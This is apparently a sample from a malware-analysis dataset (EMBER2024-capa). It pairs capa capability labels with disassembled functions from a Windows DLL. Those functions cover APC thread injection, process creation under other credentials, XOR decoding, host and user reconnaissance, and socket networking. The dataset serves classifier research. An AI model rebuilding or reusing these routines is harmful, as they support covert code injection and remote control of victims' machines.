joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800119b8
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xf0
mov r13, rcx
xor edi, edi
mov ecx, 0xa000
mov r15, r9
mov rbx, r8
mov r12, rdx
mov esi, edi
call fcn.18001652c
mov edx, 0x4000
mov rcx, rax
mov rbp, rax
call fcn.1800168f4
mov edi, 0x400
mov rcx, rbp
mov edx, edi
mov qword [rsp + 0x68], rax
call fcn.1800168f4
mov edx, edi
mov rcx, rbp
mov qword [rsp + 0x60], rax
call fcn.1800168f4
mov edx, edi
mov rcx, rbp
mov qword [rsp + 0x70], rax
call fcn.1800168f4
mov edx, edi
mov rcx, rbp
mov qword [rsp + 0x78], rax
call fcn.1800168f4
lea r14d, [rsi + 0x68]
lea rcx, [rsp + 0x80]
mov r8d, r14d
xor edx, edx
mov rdi, rax
call fcn.18001fa30
xor eax, eax
mov dword [rsp + 0x80], r14d
mov r14, qword [rsp + 0x148]
lea rcx, [rsp + 0x80]
mov qword [r14], rax
mov qword [r14 + 8], rax
mov qword [r14 + 0x10], rax
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov rdx, qword [rsp + 0x68]
xor eax, eax
mov r8d, 0x4000
mov rcx, r15
mov dword [rsp + 0xbc], 0x101
mov word [rsp + 0xc0], ax
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0x90], rax
call fcn.180010394
mov rdx, qword [rsp + 0x70]
mov r8d, 0x400
mov rcx, r12
call fcn.180010394
mov rdx, qword [rsp + 0x78]
mov r8d, 0x400
mov rcx, rbx
call fcn.180010394
mov rdx, qword [rsp + 0x60]
mov ebx, 0x400
mov r8d, ebx
mov rcx, r13
call fcn.180010394
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
cmp eax, ebx
jae 0x180011b25
mov rdx, rdi
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov rsi, rdi
mov eax, dword [rsp + 0x140]
mov r8, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x60]
mov qword [rsp + 0x50], r14
xor edi, edi
or eax, 0x8000400
lea rcx, [rsp + 0x80]
lea ebx, [rdi + 1]
mov qword [rsp + 0x48], rcx
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x28], rax
mov r9d, ebx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
test eax, eax
jne 0x180011ba7
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._s_as__s_s:__d
lea ecx, [rdi + 0x35]
mov dword [rsp + 0x28], eax
mov r9, r13
mov r8, r15
mov qword [rsp + 0x20], r12
call fcn.18000e548
mov ebx, edi
mov rcx, rbp
call fcn.180016620
lea r11, [rsp + 0xf0]
mov eax, ebx
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x180011ee8
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
cmp dword [rcx + 4], 0
mov rdi, rdx
mov rbx, rcx
ja 0x180011eda
mov ecx, dword [rcx]
call sub.WS2_32.dll_htonl
mov edx, 4
lea rcx, [rsp + 0x30]
lea r8d, [rdx + 5]
mov dword [rsp + 0x30], eax
call rdi
mov rcx, qword [rbx + 8]
call fcn.180020da8
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
xor esi, esi
mov r14d, r8d
mov rbp, rdx
cmp qword [0x180049518], rsi
mov rbx, rcx
jne 0x180011f26
mov ecx, 0x80004
call fcn.18001f784
mov qword [0x180049518], rax
mov ecx, dword [rbx]
call sub.WS2_32.dll_htonl
mov rcx, qword [0x180049518]
mov dword [rcx], eax
mov edi, dword [rbx + 4]
cmp edi, r14d
cmova edi, r14d
test edi, edi
je 0x180011f78
mov rax, qword [0x180049518]
mov r9, qword [rbx + 8]
mov ecx, esi
add rax, 4
mov r8d, edi
mov edx, 1
add rcx, rax
call fcn.1800215f0
test eax, eax
je 0x180011f74
sub dword [rbx + 4], eax
add esi, eax
sub edi, eax
jne 0x180011f44
jmp 0x180011f78
and dword [rbx + 4], 0
mov rcx, qword [0x180049518]
lea edx, [rsi + 4]
mov r8d, 8
call rbp
mov rdx, rbp
mov rcx, rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp 0x180011ea0
Function at 0x180012568
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rbp, rdx
xor r8d, r8d
xor edx, edx
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov ebx, eax
test eax, eax
jne 0x18001259a
xor eax, eax
jmp 0x1800125bc
inc eax
cmp eax, edi
jae 0x180012596
mov r8, rdi
xor edx, edx
mov rcx, rbp
call fcn.18001fa30
mov r8d, ebx
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x1800125d4
Capabilities:
Get file attributes

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
shr eax, 4
and eax, 1
add rsp, 0x28
ret

Function at 0x180012718
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0xe0
xor ebp, ebp
mov r15, r8
mov rbx, rdx
cmp dword [0x180049530], ebp
mov r14, rcx
je 0x18001274d
xor eax, eax
jmp 0x1800128ae
mov dword [0x180049530], 1
mov ecx, dword [rcx + 4]
call sub.WS2_32.dll_ntohl
mov r10d, eax
lea edi, [rax + 8]
mov ecx, edi
cmp rcx, rbx
jbe 0x180012778
mov ecx, 0x51
call fcn.18000e660
jmp 0x180012746
mov ebx, 8
cmp edi, ebx
jbe 0x1800127a2
lea rcx, [r14 + 8]
mov edx, ebx
lea r8d, [rdi - 8]
mov rax, rdx
inc rdx
and eax, 3
mov al, byte [rax + r14]
xor byte [rcx], al
inc rcx
dec r8
jne 0x18001278b
lea rsi, [r14 + 8]
lea rcx, [rsp + 0x30]
mov r9d, 1
mov rdx, rsi
mov r8d, r10d
call fcn.18000da40
test eax, eax
jne 0x1800127cf
mov ecx, 0x51
call fcn.18000e660
jmp 0x18001288d
lea rcx, [rsp + 0x30]
call fcn.18000d840
test eax, eax
jne 0x1800127ec
mov rcx, qword [rsp + 0xc8]
call fcn.1800126ec
jmp 0x1800127c0
mov eax, dword [rsp + 0x30]
movsxd r8, dword [rsp + 0xa0]
mov rcx, qword [rsp + 0x98]
mov rbp, qword [rsp + 0xc8]
xor edx, edx
mov dword [r15], eax
call fcn.18001fa30
movsxd r8, dword [rsp + 0x40]
lea rax, [rsp + 0x118]
mov r9d, 0x20
mov rdx, rbp
xor ecx, ecx
mov qword [rsp + 0x20], rax
call fcn.18001d8c4
test eax, eax
jne 0x180012856
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x52
mov edx, eax
call fcn.18000e594
mov rcx, rbp
call fcn.1800126ec
xor ebp, ebp
jmp 0x18001288d
mov eax, dword [rsp + 0xd4]
xor r9d, r9d
mov rcx, rbp
mov dword [0x180049534], eax
mov eax, dword [rsp + 0xd0]
lea r8d, [r9 + 3]
mov dword [0x180049538], eax
mov edx, eax
lea rax, [fcn.1800126ec]
mov qword [rsp + 0x20], rax
call fcn.18001efb4
cmp edi, ebx
jbe 0x1800128ab
lea ecx, [rdi - 8]
mov rax, rbx
inc rbx
and eax, 3
mov al, byte [rax + r14]
xor byte [rsi], al
inc rsi
dec rcx
jne 0x180012894
mov rax, rbp
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
Function at 0x180012d58
Capabilities:
Create pipe

Disassembly:
mov rax, rsp
mov qword [rax + 8], rsi
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r12
push rbp
push r14
push r15
lea rbp, [rax - 0x28]
sub rsp, 0x110
mov r15d, ecx
mov ecx, dword [rbp + 0x80]
mov rsi, r9
mov r14d, r8d
mov edi, edx
call fcn.18001e624
mov r12d, 0x68
lea rcx, [rbp - 0x60]
xor edx, edx
mov r8d, r12d
call fcn.18001fa30
xor eax, eax
mov dword [rbp - 0x60], r12d
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x58]
xor r12d, r12d
mov r9d, 0x100000
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x68], 0x18
mov qword [rsp + 0x70], r12
mov dword [rsp + 0x78], 1
call qword [sym.imp.KERNEL32.dll_CreatePipe]
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov rax, qword [rsp + 0x60]
mov edx, dword [rbp + 0x80]
mov ecx, dword [rbp + 0x78]
lea r9, [rsp + 0x40]
lea r8, [rbp - 0x60]
mov qword [rbp - 8], rax
mov qword [rbp], rax
mov dword [rbp - 0x24], 0x101
mov word [rbp - 0x20], r12w
mov qword [rbp - 0x10], r12
call fcn.18001c13c
test eax, eax
je 0x180012ebc
lea ecx, [r12 + 0x64]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [rbp + 0x60]
mov r8d, dword [rsp + 0x50]
mov rdx, qword [rsp + 0x40]
mov dword [rsp + 0x38], eax
mov rax, qword [rbp + 0x58]
mov qword [rsp + 0x30], rax
mov eax, dword [rbp + 0x50]
lea rcx, [rsp + 0x40]
mov r9, rsi
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], eax
call fcn.180013c68
test edi, edi
je 0x180012e7d
mov rcx, qword [rsp + 0x58]
mov edx, edi
call fcn.180014e18
mov rax, qword [rsp + 0x60]
movups xmm0, xmmword [rsp + 0x40]
movsd xmm1, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
or r9, 0xffffffffffffffff
cmp qword [rbp - 8], rax
cmove r9, rax
mov rax, qword [rbp + 0x68]
lea rcx, [rbp - 0x80]
movaps xmmword [rbp - 0x80], xmm0
movsd qword [rbp - 0x70], xmm1
mov edx, r15d
mov qword [rsp + 0x20], rax
call fcn.180014e8c
mov ecx, dword [rbp + 0x80]
call fcn.18001e654
lea r11, [rsp + 0x110]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov r12, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x180013fa4
Capabilities:
Enumerate threads

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
mov rbx, rdx
xor edx, edx
mov rdi, r8
mov rsi, rcx
lea rcx, [rbp - 0x3c]
lea r8d, [rdx + 0x18]
call fcn.18001fa30
xor eax, eax
lea rcx, str.ntdll
and qword [rbp + 0x28], rax
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
and dword [rbp - 8], 0
mov qword [rbp - 0x10], rax
mov dword [rbp - 0x40], 0x1c
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x18], rdi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtQueueApcThread
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
test rax, rax
je 0x180014128
mov edx, dword [rsi + 0x10]
mov rcx, qword [rsi]
lea r8, [rbp - 0x20]
call fcn.180013ec4
mov rbx, rax
test rax, rax
je 0x180014128
xor edx, edx
lea ecx, [rdx + 4]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rdi, rax
test rax, rax
je 0x180014128
lea rdx, [rbp - 0x40]
mov rcx, rax
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x180014128
mov eax, dword [rsi + 0x10]
cmp dword [rbp - 0x34], eax
jne 0x1800140b3
mov r8d, dword [rbp - 0x38]
xor edx, edx
mov ecx, 0x1fffff
call fcn.18001d380
mov r14, rax
test rax, rax
je 0x1800140b3
and qword [rsp + 0x20], 0
lea rdx, [rbx + 0x20]
xor r9d, r9d
mov r8, rbx
mov rcx, rax
call r15
mov rcx, r14
call fcn.18001cc60
lea rdx, [rbp - 0x40]
mov rcx, rdi
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x180014075
mov rcx, rdi
call fcn.18001cc60
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsi]
lea rax, [rbp + 0x28]
mov edi, 0x20
lea r8, [rbp - 0x20]
mov rdx, rbx
mov r9d, edi
mov qword [rsp + 0x20], rax
call fcn.18001d46c
test eax, eax
je 0x180014128
cmp qword [rbp + 0x28], rdi
jne 0x180014128
cmp dword [rbp - 8], 0
jne 0x180014144
mov rcx, qword [rsi]
lea rax, [rbp + 0x28]
lea r8, [rbp - 0x20]
mov r9d, edi
mov rdx, rbx
mov qword [rsp + 0x20], rax
mov dword [rbp - 8], 1
call fcn.18001dad0
xor eax, eax
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
mov eax, 1
jmp 0x18001412a
Function at 0x180015184
Capabilities:
Read file on windows
Read pipe

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x40
and dword [rax + 0x20], 0
lea rax, [rax - 0x18]
mov edi, r8d
mov rbp, rdx
xor ebx, ebx
xor r9d, r9d
and qword [rax - 8], rbx
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rax
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
jne 0x1800151cb
or eax, 0xffffffff
jmp 0x18001522b
cmp dword [rsp + 0x30], ebx
jbe 0x180015229
cmp ebx, edi
jae 0x180015229
and qword [rsp + 0x20], 0
mov r8d, edi
lea r9, [rsp + 0x68]
sub r8d, ebx
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rsp + 0x68]
and qword [rsp + 0x28], 0
add ebx, dword [rsp + 0x68]
add rbp, rax
lea rax, [rsp + 0x30]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
je 0x1800151c6
cmp dword [rsp + 0x30], 0
ja 0x1800151d1
mov eax, ebx
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x1800153c4
Capabilities:
Encode data using xor

Disassembly:
xor r9d, r9d
mov r8, rcx
mov eax, 0x62964ee9
cmp byte [rcx], r9b
je 0x1800153ee
movzx ecx, word [rcx]
mov edx, eax
inc r9d
ror edx, 8
add edx, ecx
mov ecx, r9d
add rcx, r8
xor eax, edx
cmp byte [rcx], 0
jne 0x1800153d4
repz ret
Function at 0x180015c9c
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x30
and dword [rax + 0x18], 0
xor ebx, ebx
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
test r8d, r8d
jle 0x180015cf6
and qword [rsp + 0x20], 0
mov r8d, edi
movsxd rdx, ebx
lea r9, [rsp + 0x50]
mov rcx, rbp
sub r8d, ebx
add rdx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180015d15
mov eax, dword [rsp + 0x50]
test eax, eax
je 0x180015d15
add ebx, eax
cmp ebx, edi
jl 0x180015cc4
or eax, 0xffffffff
cmp ebx, edi
cmovne ebx, eax
mov eax, ebx
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
or eax, 0xffffffff
jmp 0x180015d00

Function at 0x180015d1c
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x30
xor ebx, ebx
mov edi, r8d
mov rsi, rdx
and dword [rsp + 0x60], ebx
mov rbp, rcx
lea eax, [rbx + 1]
test r8d, r8d
jle 0x180015d82
mov r14d, 0x2000
mov r8d, edi
movsxd rdx, ebx
lea r9, [rsp + 0x60]
sub r8d, ebx
mov rcx, rbp
cmp r8d, r14d
cmovg r8d, r14d
and qword [rsp + 0x20], 0
add rdx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x180015d80
add ebx, dword [rsp + 0x60]
cmp ebx, edi
jl 0x180015d4b
jmp 0x180015d82
xor eax, eax
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret

Function at 0x180015f64
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
and dword [rsp + 0x30], 0
mov rbx, rdx
mov rdi, rcx
lea r8, [rsp + 0x30]
mov edx, 0x8004667e
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_ioctlsocket]
lea rax, [0x180016004]
lea rcx, [0x180015a1c]
mov qword [rdi + 0x10], rax
lea rax, [0x180016098]
mov qword [rdi + 8], rbx
mov rbx, qword [rsp + 0x38]
mov qword [rdi + 0x18], rax
lea rax, [0x180015fdc]
mov qword [rdi + 0x20], rax
lea rax, [0x18001608c]
mov qword [rdi + 0x28], rcx
mov qword [rdi + 0x30], rax
mov rax, rdi
mov qword [rdi + 0x38], rcx
add rsp, 0x20
pop rdi
ret

Function at 0x1800160f8
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
xor edi, edi
or r14d, 0xffffffff
mov ebx, r8d
mov rsi, rdx
mov rbp, rcx
test r8d, r8d
jle 0x18001614c
mov r8d, ebx
movsxd rdx, edi
xor r9d, r9d
sub r8d, edi
add rdx, rsi
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, r14d
je 0x18001616f
test eax, eax
je 0x18001614c
add edi, eax
cmp edi, ebx
jl 0x180016125
cmp edi, ebx
cmovne ebx, r14d
mov eax, ebx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov eax, r14d
jmp 0x180016154
Function at 0x180016174
Capabilities:
Send data
Send data on socket

Disassembly:
push rbx
sub rsp, 0x20
xor ebx, ebx
test r8d, r8d
jne 0x180016186
lea eax, [rbx + 1]
jmp 0x180016197
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
setne bl
mov eax, ebx
add rsp, 0x20
pop rbx
ret

Function at 0x180016368
Capabilities:
Get hostname
Get session user name

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov rdi, rcx
mov ecx, 0x494
call fcn.18001652c
mov edx, __WSAFDIsSet
mov rcx, rax
mov rbp, rax
call fcn.1800168f4
mov r13d, 0x100
mov rcx, rbp
mov edx, r13d
mov r14, rax
call fcn.1800168f4
mov edx, r13d
mov rcx, rbp
mov rsi, rax
call fcn.1800168f4
mov edx, r13d
mov rcx, rbp
mov r15, rax
call fcn.1800168f4
mov edx, r13d
mov rcx, rbp
mov r12, rax
call fcn.1800168f4
lea rdx, [rsp + 0x70]
mov rcx, r12
mov dword [rsp + 0x70], r13d
mov rbx, rax
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea rdx, [rsp + 0x70]
mov rcx, r15
mov dword [rsp + 0x70], r13d
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
call fcn.18000f548
mov r8d, 0x100
mov rdx, rbx
xor ecx, ecx
mov r13d, eax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x18001643f
mov edx, 0x5c
mov rcx, rbx
call fcn.180021d7c
mov rbx, rax
test rax, rax
je 0x18001643f
inc rbx
jne 0x180016446
lea rbx, [0x1800328c2]
mov rcx, r14
mov dword [r14], __WSAFDIsSet
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [r14 + 4]
mov rcx, rdi
mov dword [0x180051d10], eax
mov dl, byte [r14 + 4]
call fcn.18000e1e4
mov dl, byte [r14 + 8]
mov rcx, rdi
call fcn.18000e1e4
movzx edx, word [r14 + 0xc]
mov rcx, rdi
call fcn.18000e27c
mov rdx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rdi
sar rdx, 0x20
call fcn.18000e24c
mov edx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rdi
call fcn.18000e24c
mov edx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rdi
call fcn.18000e24c
mov edx, r13d
mov rcx, rdi
call fcn.18000e24c
lea r8, str._s_t_s_t_s
mov r9, r15
mov edx, 0x100
mov rcx, rsi
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r12
call fcn.18001fb3c
or rax, 0xffffffffffffffff
inc rax
cmp byte [rsi + rax], 0
jne 0x1800164e4
mov ecx, 0x3a
mov rdx, rsi
cmp eax, ecx
cmovg eax, ecx
mov rcx, rdi
mov r8d, eax
call fcn.18000e204
mov rcx, rbp
call fcn.180016620
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x78]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x180016fb4
Capabilities:
Set socket configuration

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x30
mov ebx, 1
mov edi, r8d
mov esi, edx
mov dword [rax + 0x20], ebx
mov ebp, ecx
call fcn.18000f64c
lea r15d, [rbx + 1]
xor r8d, r8d
mov edx, ebx
mov ecx, r15d
call qword [sym.imp.WS2_32.dll_socket]
or r14, 0xffffffffffffffff
mov rbx, rax
cmp rax, r14
jne 0x180017003
mov rax, r14
jmp 0x18001706c
movzx ecx, si
mov word [rsp + 0x20], r15w
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rsp + 0x68]
mov edx, 0x8004667e
mov rcx, rbx
mov dword [rsp + 0x24], ebp
mov word [rsp + 0x22], ax
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov rcx, rbx
cmp eax, r14d
jne 0x18001703e
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x180016ffe
lea rdx, [rsp + 0x20]
mov r8d, reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_bind]
mov rcx, rbx
cmp eax, r14d
je 0x180017036
mov edx, edi
call qword [sym.imp.WS2_32.dll_listen]
cmp eax, r14d
jne 0x180017069
mov rcx, rbx
jmp 0x180017036
mov rax, rbx
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret

Function at 0x1800170d4
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
call fcn.18001711c
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea edi, [rax + 0xdac]
mov rcx, rbx
call fcn.180017468
test eax, eax
jle 0x180017108
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, edi
jb 0x1800170f2
mov rcx, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp 0x1800175f4
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, qword [0x18004a470]
xor edi, edi
test rbx, rbx
je 0x1800176aa
mov eax, dword [rbx + 4]
test eax, eax
jne 0x180017625
cmp dword [rbx + 0xc], eax
jne 0x18001762e
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rbx + 0xc], eax
mov rdi, rbx
mov rbx, qword [rbx + 0x28]
jmp 0x180017607
test eax, eax
jne 0x180017625
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [rbx + 0xc]
cmp eax, 0x3e8
jbe 0x180017625
cmp dword [rbx + 0x10], 0
jne 0x180017657
mov rcx, qword [rbx + 0x20]
mov edx, 2
call qword [sym.imp.WS2_32.dll_shutdown]
cmp dword [rbx + 0x10], 4
jne 0x18001766c
mov rcx, qword [rbx + 0x20]
mov edx, 2
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, qword [rbx + 0x20]
call qword [sym.imp.WS2_32.dll_closesocket]
test eax, eax
je 0x180017680
cmp dword [rbx + 0x10], 2
je 0x180017625
mov rax, qword [rbx + 0x28]
mov rcx, rbx
test rdi, rdi
je 0x18001769e
mov qword [rdi + 0x28], rax
call fcn.18001f744
mov rbx, qword [rdi + 0x28]
jmp 0x180017607
mov qword [0x18004a470], rax
call fcn.18001f744
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x180017468
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rsi
push rdi
push r13
push r14
sub rsp, 0x40
and dword [rsp + 0x68], 0
mov rbx, qword [0x18004a470]
xor edi, edi
cmp qword [0x18004a478], rdi
mov rsi, rcx
jne 0x1800174a6
mov ecx, 0x100000
call fcn.18001f784
mov qword [0x18004a478], rax
test rbx, rbx
je 0x1800175dd
mov r14d, 4
mov r13d, 0xffffc
cmp dword [rbx + 4], 1
jne 0x1800175d0
mov ecx, dword [rbx]
cmp dword [rbx + 0x10], r14d
jne 0x180017547
call qword [sym.imp.WS2_32.dll_htonl]
mov rdx, qword [0x18004a478]
xor r9d, r9d
mov dword [rdx], eax
xor eax, eax
mov dword [rsp + 0x70], reloc.WS2_32.dll_recv
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rax
mov rcx, qword [rbx + 0x20]
lea rax, [rsp + 0x70]
add rdx, r14
mov r8d, r13d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_recvfrom]
mov edx, eax
cmp eax, 0xffffffff
jne 0x180017531
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x1800175d0
jmp 0x18001759f
test eax, eax
je 0x1800175d0
mov rcx, qword [0x18004a478]
mov byte [rdx + rcx + 4], 0
jmp 0x1800175c3
call qword [sym.imp.WS2_32.dll_htonl]
lea r8, [rsp + 0x68]
mov edx, 0x4004667f
mov ecx, eax
mov rax, qword [0x18004a478]
mov dword [rax], ecx
mov rcx, qword [rbx + 0x20]
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov r8d, dword [rsp + 0x68]
cmp r8d, r13d
cmova r8d, r13d
mov dword [rsp + 0x68], r8d
cmp eax, 0xffffffff
je 0x18001759f
test r8d, r8d
je 0x1800175d0
mov rdx, qword [0x18004a478]
mov rcx, qword [rbx + 0x20]
add rdx, r14
call fcn.1800176b8
cmp eax, 0xffffffff
jne 0x1800175b4
mov rcx, qword [0x18004a478]
and dword [rbx + 4], 0
mov r8d, r14d
mov edx, r14d
call rsi
jmp 0x1800175d0
mov edx, dword [rsp + 0x68]
cmp eax, edx
jne 0x1800175d0
mov rcx, qword [0x18004a478]
mov r8d, 5
add edx, r14d
call rsi
inc edi
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x1800174bb
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x78]
mov eax, edi
add rsp, 0x40
pop r14
pop r13
pop rdi
ret